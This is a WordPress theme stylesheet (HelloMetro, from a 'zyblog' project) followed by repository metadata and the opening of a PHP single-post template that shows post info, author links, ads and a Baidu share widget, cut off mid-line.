.dropdownlink a span { position: relative; top: -1px; border-style: solid dashed dashed; border-color: transparent; border-top-color: #bbb; display: -moz-inline-box; display: inline-block; font-size: 0; height: 0; line-height: 0; width: 0; border-width: 3px 3px 0; padding-top: 1px; left: 4px; } .submenu { display: none; position: absolute; z-index: 999; top: 35px; left: 0; border: 1px solid #ccc; border-top: 0; background: #fff; padding: 1px 5px; border-top: 3px solid #82c83c; _width: 170px; _overflow: hidden; } ul.submenu li { float: none; clear: both; border: 0; display: inline-block; padding: 4px 0; border-top: 1px solid #eee; _width: 170px; } ul.submenu li a { border: 0; display: block; padding: 0 10px; width: 140px; height: 26px; line-height: 26px; color: #666; text-decoration: none; background: #fff; _width: 150px; _padding: 0 10px!important; } ul.submenu li a:hover { background: #82c83c; color: #fff; } .submenu .first { border-top: 0; } div.submenu, #nav_explor { width: 275px; border-top: 3px solid #82c83c; } #nav_explor .tab_menu { margin-top: 10px; } .tab_menu { list-style: none; overflow: hidden; margin: 0px 0px; padding-left: 0px; padding-right: 0px; } .tab_menu li { margin-left: 0px; margin-right: 14px; height: 25px; line-height: 25px; padding: 05px 0px 0px 0px; float: left; color: #666; background: #fff; text-align: center; cursor: pointer; display: inline-block; } .widget .tab_menu li { font-size: 18px; color: #C0C0C0; } .tab_menu li.current { color: #3399FF; background: #FFF; border-bottom: 2px solid #3399FF; } .tab_content { clear: both; } .tab_box .hide { display: none; } .articles .maintab_menu li { border: 0; font-size: 18px; color: #C0C0C0; } .maintab_menu li.current { color: #3399FF; } .maintab_menu { list-style: none; overflow: hidden; margin: 0px 0px; padding-left: 0px; padding-right: 0px; } .maintab_menu li { margin-left: 0px; margin-right: 14px; height: 25px; line-height: 25px; padding: 5px 0px 5px 0px; float: left; color: #666; text-align: center; cursor: pointer; display: inline-block; } .maintab_content { clear: both; padding-top: 20px; border-top: 1px dashed #3399FF; } .mainhide { display: none; } #nav_explor .tags_div { border-top: 1px dashed #eee; padding: 3px 5px; } #nav_explor .cat_ul li { margin: 0; padding: 2px 0; float: left; clear: none; border-top: 1px dashed #eee; } #nav_explor .cat_ul li a { color: #777; margin: 0; padding: 0; width: 90px; height: 28px; line-height: 28px; text-align: center; } #nav_explor .tags_div a { color: #777; display: inline-block; padding: 0 2px; margin: 3px 0; height: 28px; line-height: 28px; } #nav_explor .tags_div a:hover, #nav_explor .cat_ul li a:hover { background: #82c83c; color: #fff; } .cat_ul { clear: both; overflow: hidden; width: 275px; padding-bottom: 5px; } .cat-item a { display: inline-block; width: 90px; height: 20px; line-height: 20px; margin: 0 0 0 10px; } .page_menu { } .page_menu ul { list-style: none; float: left; } .page_menu li { text-shadow: 1px 1px #fff; color: #FFFFFF; float: left; padding: 8px 10px 0 10px; } input, textarea, button { outline: none; } .search { float: right; } .search_site { position: absolute; right: 0; top: 5px; width: 200px; height: 24px; z-index: 222; background: #fff; border: 1px solid #3399FF; } .search_site #searchform #s { display: inline; height: 24px; padding: 0px 2px; position: absolute; top: 0px; width: 176px; z-index: 1; font-family: 微软雅黑,Verdana, Geneva, sans-serif; color: #999; } .search_site #searchform #searchsubmit { cursor: pointer; display: block; height: 24px; padding: 0; position: absolute; right: 0px; text-indent: -9999px; top: 0px; width: 24px; z-index: 2; margin-left: 0px; background: #FFF url("images/search.png") no-repeat; } .search_site #searchform #searchsubmit:hover { background: url("images/searchHover.png") no-repeat 40% 20%; } .feed-tip { width: 650px; color:#636363; border-bottom: #ccc 1px dashed; border-top: #ccc 1px dashed; margin-top: 20px; padding-top: 10px; padding-bottom: 10px; } .feed-tip a { color: #3399FF; } .feed-tip a:hover { text-decoration:underline; } #map { border: 1px #EDEDED solid; background: #FFF; margin-top: 15px; padding-left: 10px; line-height: 25px; height: 25px; } #map .position { height: 25px; color: #8F8F8F; float: left; } #map .position a { color: #3399ff; } #map .baiduad { height: 35px; width: 468px; float: right; padding-top: 10px; overflow: hidden; } .widescreen { border-top: 0px solid #46ca11; } .widescreen #container { padding: 0 20px 20px 20px; background: #fff; margin-top: 13px; border: 1px solid #ccc; } .widescreen .top-entry .entry-number { left: -30px; _left: -80px; padding-left: 0; padding-right: 8px; text-align: right; } .widescreen .top-entry .entry-title, .widescreen .top-entry .entry-meta { padding-left: 50px; } .widescreen .post-title-block { left: -30px; _left: -87px; } .widescreen #post-title, .widescreen .post-title .post_meta { padding-left: 55px; } #container { text-align: left; width: 980px; margin: 0 auto; overflow: hidden; } #blogname { float: left; font-size: 22px; padding-left: 10px; margin-top: 15px; } #blogname a:link, #blogname a:visited, .article h2 a:link, .article h2 a:visited { color: #222; } .article { padding-bottom: 5px; } .article h2 a:link, .article h2 a:visited { color: #1BA1E2; font-weight: normal; } .article_b { padding-bottom: 5px; } .article_b h2 a:link, .article_b h2 a:visited { color: #1BA1E2; font-weight: normal; } .article_b h2 a:hover { text-decoration: underline; } .article h7 { font-size: 15px; font-weight: normal; color: #969696; } #blogname a:hover, .article h2 a:hover { text-decoration: underline; font-weight: normal; } #blogtitle { padding-top: 5px; color: #666; font-size: 13px; font-weight: normal; } #rss { float: right; border: none; } #rss ul { list-style: none; } #rss ul li { margin: 6px 0 0 14px; float: right; } #rss ul li.rssmail { margin-left: 0px; } .icon1 { display: block; width: 28px; height: 28px; background: url(images/rss.gif) no-repeat top; } .icon1 span.hover { display: block; width: 28px; height: 28px; background: url(images/rss.gif) no-repeat bottom; } .icon2 { display: block; width: 28px; height: 28px; background: url(images//tqq.gif) no-repeat top; } .icon2 span.hover { display: block; width: 28px; height: 28px; background: url(images/tqq.gif) no-repeat bottom; } .icon3 { display: block; width: 28px; height: 28px; background: url(images/tsina.gif) no-repeat top; } .icon3 span.hover { display: block; width: 28px; height: 28px; background: url(images/tsina.gif) no-repeat bottom; } .icon4 { display: block; width: 28px; height: 28px; background: url(images/rssmail.gif) no-repeat top; } .icon4 span.hover { display: block; width: 28px; height: 28px; background: url(images/rssmail.gif) no-repeat bottom; } #content { width: 990px; margin: 0 auto; padding-top: 40px; } .main { float: left; width: 690px; border-right: 1px solid #eee; padding-right: 10px; } .main ul li { list-style: none; } .main .post, .main .left { margin-top: 18px; } .post-title-single { position: relative; border-bottom: #3399FF 1px dashed; padding-bottom: 5px; } .post-top-ad { width: 336px; height: 280px; margin: 15px auto 30px auto; border: #DEDEDE 4px solid; position: relative; } .post-top-ad span { display: block; position: absolute; width: 15px; height: 110px; background: #72B332; top: -4px; left: -18px; } .post-top-ad span:hover { background: #6B6B6B; } .post_date { float: left; width: 60px; height: 60px; position: absolute; margin-left: -30px; color: #FFFFFF; } .post_date span { display: block; } .post_date .date_d { text-align: center; font-size: 25px; background-color: #3399FF; padding: 2px; font-family: "微软雅黑",Georgia, Arial, Tahoma, Geneva; } .post_date .date_ym { text-align: center; font-size: 12px; font-family: "微软雅黑",Verdana; background-color:#0687e3; color: #FFF; margin-top: 3px; padding: 2px; } .article { float: right; width: 650px; overflow: hidden; border-bottom: 1px #ddd solid; } .article_b { float: right; width: 680px; border-bottom: 1px #ddd solid; } .article_b .tagleft { height: 20px; border-left: #ccc 0px solid; } .article_b .date_s{ width:60px; text-align:center; color:#FFF; font-size: 12px; font-family: "微软雅黑",Georgia, Arial, Tahoma, Geneva; margin-bottom:-13px; margin-top:33px; margin-right:0px; margin-left:160px; background:#3399FF; display:block; } .article_b .tagleft h2 a { height: 20px; border-left: #3399FF 4px solid; padding-left:2px; } .article_b .tagleft h2 a:hover { border-left: #ffb900 4px solid; } .article_b .tagleft h2{ height: 20px; font-weight: normal; padding-left: 2px; } .article li { list-style: none; } .articles { float: right; width: 650px; padding: 10px 0 10px 0; overflow: hidden; } .article h2 { height: 24px; padding-left: 5px; font-weight: normal; } .articles h6 { font-size: 15px; color: #6E6E6E; font-weight: normal; } .articles h8 { font-size: 14px; color: #6E6E6E; font-weight: normal; } .section_title { border-top: 1px solid #DEDEDE; height: 1px; margin: 20px 0; position: relative; } .section_title span, .section_title a { display: block; height: 54px; padding: 0 18px; line-height: 50px; background: #3399FF; color: white; position: absolute; top: -16px; left: 285px; overflow: hidden; } #singlead { height: 254px; width: 650px; } #singlead .adleft { width: 319px; height: 254px; border: #EEE 3px solid; float: left; } #singlead .adright { width: 319px; height: 254px; border: #EEE 3px solid; float: right; } .adleft .ad-l { float: right; } .adright .ad-r { float: right; } .adleft span { display: block; width: 20px; height: 100px; background: #72B332; top: 0; left: -11px; color: white; } .adleft span:hover { background: #787878; } .adright span { display: block; width: 20px; height: 100px; background: #72B332; top: 0; left: -11px; color: white; } .adright span:hover { background: #787878; } .new { margin-left: 2px; position: absolute; } .thumbnail_box { float: left; width: 145px; height: 105px; margin: 12px 10px 8px 0px; _margin: 17px 10px 8px 7px; padding: 0px 3px; } .thumbnail_box:hover { float: left; width: 145px; height: 105px; margin: 12px 10px 8px 0px; _margin: 17px 10px 8px 7px; padding: 0px 3px; background: url(images/SmallNavigation.png) no-repeat center center; } .thumbnail_box_top .thumbnail img { position: absolute; z-index: 3; padding:5px; box-shadow:1px 1px 5px rgba(0,0,0,0.63) } .thumbnail_box .thumbnail img { position: absolute; z-index: 3; padding:3px; box-shadow:1px 1px 3px rgba(0,0,0,0.5) } .thumbnail_box_top { width: 430px; height: 200px; margin: 40px 10px 8px 90px; _margin: 17px 10px 8px 7px; background: url(images/Navigation.png) no-repeat center center; } .thumbnail_box_top:hover { background: url(images/Navigation.png) no-repeat center center; } .boxbottom { width: 430px; height: 30px; background: #72B332; } .entry_post { line-height: 22px; padding-top: 32px; font-size: 14px; color: #777; } .entry_post_top { line-height: 22px; padding-top: 5px; font-size: 14px; color: #777; } .more { float: right; font-size: 12px; margin: 4px 0 8px 0; *margin: -20px 0 8px 0; } .infotop { float: left; font-size: 12px; padding-top: 5px; padding-left: 5px; width: 515px; overflow: hidden; line-height: 20px; height: 20px; } .infotop a { color: #919191; } .infotop a:hover { color: #3399FF; } .infobot { float: left; font-size: 12px; padding-top: 10px; padding-left: 5px; width: 515px; overflow: hidden; line-height: 20px; height: 20px; color: #919191; margin-bottom: 3px; } .infobot a { color: #919191; } .infobot a:hover { color: #3399FF; } .infosingle { float: left; font-size: 12px; padding-top: 5px; width: 650px; overflow: hidden; line-height: 20px; height: 25px; } .infosingle a { color: #919191; } .infosingle a:hover { color: #3399FF; } #singleinfo { height: 25px; float: left; padding: 4px 0px 0px 0px; } #baidushare { height: 25px; width: 183px; float: right; padding: 0px 0px 0px 0px; } .info-category-icon, .info-comment-icon, .info-view-icon, .info-url-icon, .info-user-icon, .info-tag-icon { background: #fff; display: inline-block; margin-right: 10px; padding-left: 18px; } .info-view-icon { background: url("images/view.png") no-repeat; background-position: left center; color: #919191; } .info-comment-icon { background: url("images/comment.png") no-repeat; background-position: left center; } .info-category-icon { background: url("images/Category.png") no-repeat; background-position: left center; } .info-user-icon { background: url("images/user.png") no-repeat; background-position: left center; color: #919191; } .info-tag-icon { background: url("images/tag.png") no-repeat; background-position: left center; } .article_info { font-size: 12px; padding-left: 10px; line-height: 22px; color: #777; } .readmore { float: right; background: #3399FF; padding: 1px 5px 1px 4px; margin-bottom: 3px; } .readmore a:link { float: right; font-size: 12px; color: #FFF; background: url("images/ReadMore.png") no-repeat; background-position: right center; padding: 5px 25px 5px 5px; line-height: 18px; height: 18px; } .readmore a:visited { color: #FFF; } .readmore a:hover { color: #ffb900; background: url("images/ReadMoreHover.png") no-repeat; background-position: right center; } .readmore:hover { background: #1E90FF; font-size: 14px; color: #1E90FF; } .context { position: relative; width: 630px; overflow: hidden; margin-top: 50px; } .context p { padding: 5px 0px; margin: 0; line-height: 22px; } .context h3{ padding: 5px 20px; background: #3399FF; color: #FFF; margin: 5px auto; display: inline-block; font-weight: normal; } .context .special{ padding: 5px 5px; background: #d3e8fc; margin: 5px auto; font-weight: normal; border: 1px dashed #3399ff; } .context h4 { padding: 3px 10px; background: #3399FF; color: #FFF; margin: 3px auto; display: inline-block; font-weight: normal; } .context h5 { padding: 5px 20px; background: #3399FF; color: #FFF; margin: 5px auto; display: inline-block; font-weight: normal; } .context ol { margin-left: 20px; } .context ol li { line-height: 22px; } .context p img { margin: 0 auto; display: block; } .download { background: #3399FF; color: #FFF; padding: 8px 10px 8px 20px; display: inline-block; } .download a{ color: #FFF; padding: 5px 35px 5px 0px; background: url(images/Download.png) no-repeat; background-position: center right; } .download a:hover { color: #ffb900; background: url(images/DownloadHover.png) no-repeat; background-position: center right; } .context blockquote { padding: 5px 5px; background: #d3e8fc; margin: 5px auto; font-weight: normal; border: 1px dashed #3399ff; } .post-author { border: 1px solid #DDD; padding: 15px; background: #F9F9F9; font-size: 12px; overflow: hidden; position: relative; _zoom: 1; } .post-author .avatar { float: left; margin-right: 25px; width: 70px; height: 70px; border: 0px solid #ddd; } .post-author .avatar img{ padding:3px; box-shadow:1px 1px 3px rgba(0,0,0,0.2) } .post-author-desc { float: left; width: 518px; } .post-author a { } .post-author-name { font-weight: bold; font-size: 16px; } .post-author-description { color: #7A7A7A; overflow: hidden; height: 35px; width: 517px; } .post-author-about { color: #999; } .post-author-links { color: #DDD; } .post-author-title { color: white; position: absolute; right: 30px; top: 0; background: #3399FF; height: 25px; line-height: 25px; padding: 0 15px; } .wumiidisplay { margin-top: -30px; } .post-nav { display: block; text-align: center; margin: 0; position: relative; } .post-nav .wumii { display: inline-block; height: 28px; } .post-nav .prev:hover { background: #72B332; text-decoration: none; } .post-nav .prev { display: inline-block; margin-right: 30px; padding: 5px 15px; background: #27AAE2; color: #fff; } .post-nav .next:hover { background: #72B332; text-decoration: none; } .post-nav .next { display: inline-block; margin-left: 30px; padding: 5px 15px; background: #27AAE2; color: #fff; } .post-nav a { color: #fff; } .related-post li a { background: white url("images/nextlink.png") no-repeat left center; display: inline-block; padding: 3px 0 3px 20px; color: #777; } .related-post li a:hover { color: #3399FF; padding-left: 20px; background: #FFF url("images/NextBlueLink.png") no-repeat; background-position: left center; TEXT-DECORATION:underline; } .related-post { width: 450px; float: left; } .nf-ad { width: 160px; height: 300px; float: right; } .link-l { height: 28px; width: 162px; background: #ddd; } .navigation { margin: 9px 0 5px 0; font-size: 12px; float: right; text-align: right; } .pagination { line-height: 30px; } .inactive { height: 30px; width: 30px; } .pagination span, .pagination a { width: 30px; text-align: center; height: 30px; display: inline-block; text-decoration: none; color: #333; background: url(images/Page.png) no-repeat center center; } .pagination .current { height: 30px; width: 30px; color: #fff; background: #3399FF url(images/PageBlue.png) no-repeat center center; } .pagination a:hover { height: 30px; width: 30px; color: #fff; text-decoration: none; background: #3399FF url(images/PageBlue.png) no-repeat center center; } .pagination .page_previous, .pagination .prev { width: 30px; height: 30px; text-align: center; line-height: 30px; color: #FFF; background: url(images/PrePage.png) no-repeat center center; margin-right: 10px; } .pagination .page_previous:hover, .pagination .prev:hover { width: 30px; height: 30px; color: #3399FF; text-align: center; background: #3399FF url(images/PrePageBlue.png) no-repeat center center; } .pagination .page_next, .pagination .next { width: 30px; height: 30px; text-align: center; color: #fff; background: #3399FF url(images/NextPage.png) no-repeat center center; margin-left: 10px; } .pagination .page_next:hover, .pagination .next:hover { width: 30px; height: 30px; text-align: center; color: #3399FF; background: #3399FF url(images/NextPageBlue.png) no-repeat center center; } .pagination .fir_las, .pagination .fir_las:hover { width: 30px; height: 30px; text-align: center; } #widget_top_ad { overflow: hidden; padding: 0; margin-bottom: 10px; } #widget_top_ad ul { overflow: hidden; margin: 0 auto; width: 282px; _width: 284px; } #widget_top_ad ul li { display: inline-block; float: left; margin: 7px; _margin: 6px; border: 1px solid #ccc; } #widget_top_ad ul li a { display: block; overflow: hidden; padding: 0; width: 125px; } .widget { padding: 0px; margin: 15px auto 20px 15px; width: 260px; } .widget h3 { font-size: 12px; font-weight: normal; color: #888; margin: 0 0 5px 0; } .widget ul li { border-top: 0px dashed #ccc; } .widget ul li a { display: block; padding: 7px 0; } .widget_no_border { margin: 0 auto 20px auto; } .widget_box, .widget_box_white { margin-bottom: 20px; } .widget_box_white .wb_c { background: #fff; } .widget_box_white .wb_b { background-position: 0 -214px; } .widget_menu_list_wrapper { padding: 1px; border: 5px solid #f1f7fd; margin: 0 auto 15px auto; width: 289px; _width: 288px; clear: both; } .widget_menu_list { padding: 5px auto; border: 1px solid #d2e2ef; } .widget_menu_list li { height: 30px; line-height: 30px; border-bottom: 1px dashed #eee; padding: 0 0 0 25px; color: #888; } .widget_menu_list li .link { font-size: 14px; color: #888; } .widget_menu_list li .rsslink { color: #ef6b07; } .widget_menu_list .widget_menu_list_weibo { background-position: -456px -192px; } .widget_menu_list .widget_menu_list_rss { background-position: -395px -192px; } .widget_menu_list .widget_menu_list_video { background-position: -425px -192px; } .widget-ad { width: 255px; height: 250px; margin-left: 10px; position: relative; } .widget-ad span { display: block; position: absolute; width: 11px; height: 100px; background: #72B332; top: 0; left: -11px; color: #fff; } .widget-ad span:hover { display: block; position: absolute; width: 11px; height: 100px; background: #6B6B6B; top: 0; left: -11px; color: #fff; } #sidebar { width: 285px; font-size: 12px; float: right; clear: right; } #sidebar a { color: #777; } #sidebar a:hover { color: #3399FF; } #sidebar .sidebar-img { width: 262px; margin: 5px 15px -10px 15px; } #sidebar .sidebar-img2 { width: 264px; margin: 5px 17px -5px 12px; } #sidebar .sidebar-img2 a { margin: 0px 4px; } #sidebar .sidebar-img2 img:hover { filter: alpha(opacity=50); opacity: 0.5; } #sidebar .sidebar-img3:hover { filter: alpha(opacity=50); opacity: 0.5; } #sidebar .sidebar-img3 { width: 264px; margin: 20px 17px -5px 13px; border: #eee 1px solid; } #sidebar .sidebar_rollbox { position: fixed; background: none; padding: 0px; } #sidebar .widget_menu_list_wrapper .widget_menu_list li a { _display: inline-block; _height: 20px; _line-height: 20px; } #sidebar .widget_menu_list_wrapper .widget_menu_list li a span { _display: inline-block; _height: 20px; _line-height: 20px; } #sidebar .widget_menu_list_wrapper .widget_menu_list li { _height: 30px; _line-height: 30px; _overflow: hidden; } .widget_gg { margin: 0 auto 15px auto; width: 260px; } .widget_gg li { text-align: center; } .widget_gg .bd_img_link { border: 5px solid #eee; padding: 1px; } .widget_ad_slot_wrapper { padding: 5px 10px; _padding: 5px; +padding:5px; height: 548px; } .widget_ad_slot_wrapper ul { overflow: hidden; } .widget .widget_ad_slot { float: left; border: 0; margin: 5px; border: 1px solid #eee; width: 125px; height: 125px; overflow: hidden; } .comment_ul { overflow: hidden; line-height: 15px; } .comment_ul li { clear: both; overflow: hidden; padding: 10px 0; _zoom: 1; } .rc_avatar { border: 1px solid #ccc; float: left; margin: 0 10px 0 0; } .widget ul li .rc_avatar a { display: inline-block; padding: 3px; } .rc_avatar a img { display: inline-block; width: 48px; height: 48px; overflow: hidden; } .widget ul li .rc_comment a { display: inline; } .rc_comment { color: #888; } #sidebar #sidebar_float { background: #fff; display: inline-block; position: static; _width: 301px; +width:301px; } .tab_post_links { _margin-bottom: -15px; } .widget .tab_post_links li { padding: 2px 5px 2px 0px; } .widget .tab_post_links li a { padding-left: 20px; background: url("images/nextlink.png") no-repeat; background-position: left center; } .widget .tab_post_links li a:hover { padding-left: 20px; background: #FFF url("images/NextBlueLink.png") no-repeat; background-position: left center; TEXT-DECORATION:underline; } .widget .tab_ext_links li a { background: url("images/sprite.png") -310px -93px no-repeat; padding-left: 25px; display: inline-block; } #loginform p { line-height: 25px; } input, textarea, button { outline: none; } .article input { border: 1px solid #ddd; padding: 2px; margin: 2px; } #loginform input.login { width: 120px; padding: 2px; background: #fff; color: #444; border: 1px solid #ddd; box-shadow: inset 2px 3px 5px #eee; } #loginform input.denglu { background: #f0f0f0; width: 66px; height: 23px; color: #444; text-align: center; margin-top: 8px; border: 1px solid #ddd; } #loginform input:focus { border: 1px solid #ccc; } .r_comment { } .r_comment ul { list-style-type: none; } .r_comment li { line-height: 16px; clear: both; padding-top: 10px; } .r_comment ul li img.avatar { height: 32px; float: left; padding: 3px; margin: 2px 5px 0 10px; background: #fff; border: 1px solid #ddd; } .top_comment { margin: 13px; } .top_comment img.avatar { width: 40px; height: 40px; background: #E3E3E3; border: 1px solid #E3E3E3; padding: 1px; margin: 1px; } .top_comment li { list-style: none; display: inline; float: left; } .top_comment img.avatar:hover { background: #72B332; } .top_comment ul { list-style: none; display: inline; } .tags { margin-left: 0px; margin-right: 0px; margin-bottom: 10px; text-align: left; } .tags ul a { display: inline-block; text-decoration: none; padding: 2px 5px; white-space: nowrap; color: #7fba00 } #sidebar .tags ul a:hover { text-decoration: underline; } .v-links { overflow: hidden; } .v-links li { float: left; display: block; width: 128px; height: 20px; overflow: hidden; } .v_avatar { float: left; width: 70px; margin-left: 18px; } .v_avatar img { padding: 6px; background: #e3e3e3; border: 1px solid #e3e3e3; } .v_li { float: right; width: 135px; line-height: 19px; list-style: none; } .articles_all { line-height: 30px; } .car-collapse .car-yearmonth { cursor: s-resize; } a.car-toggler { line-height: 30px; font-size: 14px; color: #c30; } .car-list li { list-style: none; line-height: 24px; } .car-list li ul { padding-left: 30px; } .car-plus, .car-minus { width: 15px; display: block; float: left; font-family: Courier New, Lucida Console, MS Gothic, MS Mincho; } .flink, .linkstandard { list-style: none; } .flink ul ul, .linkstandard ul { list-style: none; line-height: 24px; } .flink ul ul li { float: left; height: 28px; width: 25%; overflow: hidden; } .flink a { color: #333; } .flink a:hover { color: #3399FF; text-decoration:underline; } .flink ul li h2, .linkstandard h2 { clear: both; font-size: 15px; font-weight: normal; color: #969696; } .v_comment { } .v_comment ul { padding-top: 14px; } .v_comment ul li { list-style-type: none; display: inline; } .v_comment img { height: 36px; height: 36px; float: left; padding: 1px; margin: 2px; border: 1px solid #ddd; } .v_comment img:hover { border: 1px solid #ccc; -webkit-animation: comm 1.1s ease-in infinite; box-shadow: 0 0 2px rgba(0,158,224,0.9); -moz-box-shadow: 0 0 2px rgba(0,158,224,0.9); -webkit-box-shadow: 0 0 2px rgba(0,158,224,0.9); } @-webkit-keyframes comm { 0% { -webkit-box-shadow: 0 0 7px rgba(0,158,224,0.9); } 100% { -webkit-box-shadow: 0 0 2px rgba(0,158,224,0.9); } } /** 文章评论 **/ .commentlist { } .commentlist .comment { list-style: none; border-top: 1px solid #ddd; } .commentlist li.comment ul.children { margin-left: 20px; } .commentlist .depth-1 { margin: 10px 0 10px 0; } .commentlist li { position: relative; } .commentlist .alt { } .commentlist .comment-body { padding: 5px 0 5px 0; } .commentlist .comment-body:hover { background: #fafafa; } .commentlist p { margin: 5px 0 5px 50px; line-height: 22px; } .reply { } .reply a:link, .reply a:visited { text-align: center; font-size: 12px; } .datetime { font-size: 12px; color: #aaa; text-shadow: 0px 1px 0px #fff; margin-left: 50px; } .commentmetadata { font-size: 12px; color: #aaa; text-shadow: 0px 1px 0px #fff; margin-left: 50px; } ol.commentlist li div.vcard img.avatar { width: 40px; height: 40px; position: relative; float: left; margin: 4px 6px 0 0; padding: 2px; border: 1px solid #ddd; background: #fff; } ol.commentlist li div.floor { float: right; color: #bbb; } #respond { padding: 5px 0px 10px; overflow: hidden; } #respond_box { clear: both; border-top: 1px solid #ddd; } #respond h3 { margin: 5px 0 6px 0; } #comment { background: #fff url(images/comment.gif) no-repeat center; } #commentform p { color: #3399FF; } #commentform label { color: #3399FF; } #commentform input { border: 2px solid #ddd; width: 160px; margin: 4px 5px 4px 0; padding: 3px; } #commentform input:focus { border: 2px solid #3399FF; } #commentform textarea { width: 72%; height: 120px; font-size: 13px; padding: 4px; margin: 4px 0 0 0; border: 2px solid #ddd; } #commentform textarea:focus { border: 2px solid #3399FF; background: #FFF url(images/bg.png) no-repeat; } #commentform input#submit, #commentform input#reset { width: 87px; height: 30px; color: #FFF; background: #3399FF; text-align: center; margin-top: 8px; border: 0px solid #ddd; } #commentform #submit:hover, #commentform #reset:hover { color: #393939; border: 0px solid #72B332; } #real-avatar .avatar { float: right; padding: 2px; border: 1px solid #ddd; background: #fff; margin-right: 20px; _margin-right: 10px; } /** IE6抖动 **/ html body { _background-attachment: fixed; } /** 翻页 **/ #fanye { font-size: 120px; color: #72B332; line-height: 160px; width: 50px; display: none; } #btn_page_next { cursor: pointer; display: block; min-height: 600px; width: 9%; position: fixed; _position: absolute; top: 140px; _top: expression(eval(document.documentElement.scrollTop)); right: 0; padding-top: 150px; z-index: 3; text-align: center; float: left; } #btn_page_next a:hover { text-decoration: none; } #btn_page_prev { cursor: pointer; display: block; min-height: 600px; width: 9%; position: fixed; _position: absolute; top: 140px; _top: expression(eval(document.documentElement.scrollTop)); left: 0; padding-top: 150px; z-index: 3; text-align: center; } #btn_page_prev a:hover { text-decoration: none; } /** 返回顶部 **/ #gotop { width: 54px; height: 52px; position: fixed; bottom: 0px; right: 0px; top: auto; display: block; cursor: pointer; z-index: 999; background: url(images/gotop.png) no-repeat; } *html #gotop { position: absolute; bottom: auto; top: expression(eval(document.documentElement.scrollTop+document.documentElement.clientHeight-this.offsetHeight-(parseInt(this.currentStyle.marginTop,10)||0)-(parseInt(this.currentStyle.marginBottom,10)||0))); } /** 底部 **/ #footer { font-size: 12px; padding: 20px 21px 20px 21px; clear: both; width: 980px; background: rgb(51, 54, 59); margin: 0 auto; color: #3399FF; overflow: hidden; margin-bottom: 20px; } #footer a { color: #FFF; } #footer a:hover { color:#3399FF; text-decoration:underline; } #footer-body { width: 980px; margin: 0 auto; overflow: hidden; } #footer-logo { display: block; width: 164px; height: 70px; float: left; background: rgb(51, 54, 59) url("images/Footer.png") no-repeat; } #footer-logo:hover { background-position: 1px 2px; } #footer-content { width: 780px; float: right; text-align: left; padding-top: 27px; } #goToTop { display: block; position: fixed; bottom: 25px; right: 25px; z-index: 9999; _bottom: none; _right: 10px; _position: absolute; _top: expression(eval(document.documentElement.scrollTop+document.documentElement.clientHeight-this.offsetHeight-(parseInt(this.currentStyle.marginTop,10)||0)-(parseInt(this.currentStyle.marginBottom,10)||0))-10); } #footer #goToTop a { display: block; text-indent: -99999px; width: 56px; height: 56px; background: url("http://cdn.iplaysoft.com/common/gototop/gototop.png") no-repeat; _background: #eee; _text-indent: 0; _border: 1px solid #ccc; _width: 0; _height: 0; _padding: 5px 10px; } .page_title { text-align: center; margin: 0 35px 15px 0; padding-bottom: 7px; border-bottom: 3px solid #3399FF; } .highlight_title { background: #F1F7FD none repeat scroll 0 0; border: 1px solid #D2E8FA; color: #3C99C9; font-size: 13px; font-weight: normal; height: 28px; line-height: 28px; margin-bottom: 10px; text-align: center; width: 100%; }
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/style.css
CSS
asf20
44,238
<?php get_header(); ?> <span id="btn_page_prev"><?php previous_post_link( '%link', '<span id="fanye">‹</span>' ); ?></span> <span id="btn_page_next"><?php next_post_link( '%link', '<span id="fanye">›</span>' ); ?></span> <div id="content"> <div class="main"> <?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="left"> <div class="post_date"> <span class="date_ym"><?php the_time('Y') ?>.<?php echo date('m',get_the_time('U'));?></span> <span class="date_d"><?php the_time('d') ?></span> </div> <div class="articles"> <div class="post-title-single"> <h2><?php the_title(); ?></h2></div> <div class="infosingle"> <div id="singleinfo"> <span class="info-user-icon"> 来源:<?php $custom_fields = get_post_custom_keys($post_id); if (!in_array ('copyright', $custom_fields)) : ?> 本站原创 <?php else: ?> <?php $custom = get_post_custom($post_id); $custom_url=$custom['copyrighturl'] ; $custom_value = $custom['copyright']; ?> <a target="_blank" href="<?php echo $custom_url[0] ?>" ><?php echo $custom_value[0] ?></a> <?php endif; ?> </span> <span class="info-category-icon"><?php the_category(', ') ?></span> <span class="info-view-icon">超过<?php if(function_exists(the_views)) { the_views();}?>围观</span> <span class="info-comment-icon"><?php comments_popup_link ('0条评论','1条评论','%条评论'); ?></span></div> <div id="baidushare" class="bdshare_b" style="line-height: 12px;"><img src="http://bdimg.share.baidu.com/static/images/type-button-1.jpg?cdnversion=20120831" /> <a class="shareCount"></a> </div> <script type="text/javascript" id="bdshare_js" data="type=button&amp;uid=6108031" ></script> <script type="text/javascript" id="bdshell_js"></script> <script type="text/javascript"> document.getElementById("bdshell_js").src = "http://bdimg.share.baidu.com/static/js/shell_v2.js?cdnversion=" + new Date().getHours(); </script> </div> <div class="context"> <?php if (get_option('swt_adb') == 'Display') { ?><div style="float:right;border:1px #ccc solid;padding:2px;overflow:hidden;margin:12px 0 1px 2px;"><?php echo stripslashes(get_option('swt_adbcode')); ?></div><?php { echo ''; } ?><?php } else { } ?><?php the_content('Read more...'); ?> <div class="feed-tip"> <div>上篇文章:<?php if (get_previous_post()) { previous_post_link('%link','%title');} else { echo "没有了,已经是最后文章";} ?></div> <div>下篇文章:<?php if (get_next_post()) { next_post_link('%link','%title');} else { echo "木有了,已经是最新文章";} ?></div> </div> </div> <?php if (get_option('swt_adc') == 'Display') { ?><p style="text-align:center;"><?php echo stripslashes(get_option('swt_adccode')); ?></p><?php { echo ''; } ?><?php } else { } ?> </div> </div> <div class="articles"> <div id="wumiiLikeRecBtnDiv" class="wumii"></div> </div> <div class="articles"> <div class="post-author"><div class="avatar"><?php echo get_avatar( get_the_author_email(), '70' ); ?></div> <div class="post-author-desc"> <a class="post-author-name" target="_blank" title="去看看他/她的专栏" href="#"><span><?php echo the_author_meta( 'nickname' ); ?></span></a><br> <div class="post-author-description"><?php echo the_author_meta( 'description' ); ?></div> <div class="post-author-links"><a rel="nofollow" target="_blank" href="#">查看Ta的专栏</a><?php if (get_the_author_meta('weibo_sina')!=""){ ?><?php echo "<a href='" . get_the_author_meta('weibo_sina') . "' target='_blank'> | 新浪微博</a>"; ?><?php } ?><?php if (get_the_author_meta('weibo_tx')!=""){ ?><?php echo "<a href='" . get_the_author_meta('weibo_tx') . "' target='_blank'> | 腾讯微博</a>"; ?><?php } ?><?php if (get_the_author_meta('renren')!=""){ ?><?php echo "<a href='" . get_the_author_meta('renren') . "' target='_blank'> | 